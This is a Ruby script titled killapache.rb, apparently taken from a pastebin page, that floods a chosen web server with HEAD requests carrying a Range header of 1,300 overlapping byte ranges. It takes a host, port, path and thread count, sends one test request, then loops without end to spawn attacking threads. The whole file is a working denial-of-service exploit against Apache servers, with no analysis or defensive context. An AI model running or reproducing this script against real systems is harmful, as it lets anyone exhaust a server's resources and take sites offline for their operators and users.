from http://pastebin.com/NwFr1m8Y

killapache.rb

$DEBUG = true
require "socket"

def simple_head_request_with_range(host, port, path, range)
    socket = TCPSocket.new(host, port)
    socket.puts  <<EOS
HEAD #{path} HTTP/1.1
Host: #{host}
Range: #{range}
Connection: close

EOS
    socket.read
end

if ARGV.size < 4
    puts <<EOS
usage: ruby killapache.rb <host> <port> <path> <numthreads>
EOS
    exit
end

host = ARGV[0]
port = ARGV[1]
path = ARGV[2]
numthreads = ARGV[3].to_i

if not numthreads > 0
    puts <<EOS
error: <numthreads> must be greater than 0
EOS
    exit
end

evil_range = "bytes=#{(1..1300).map{|i| "0-#{i}"}.join(",")}"

puts <<EOS
host=#{host}
port=#{port}
path=#{path}
numthreads=#{numthreads}

EOS
puts "==== test run ===="
puts simple_head_request_with_range(host, port, path, evil_range)

puts "==== real run ===="
loop do
    sleep 0.01 while Thread.list.size > numthreads
    Thread.new do
        print ">"
        STDOUT.flush
        simple_head_request_with_range(host, port, path, evil_range)
        print "<"
        STDOUT.flush
    end
end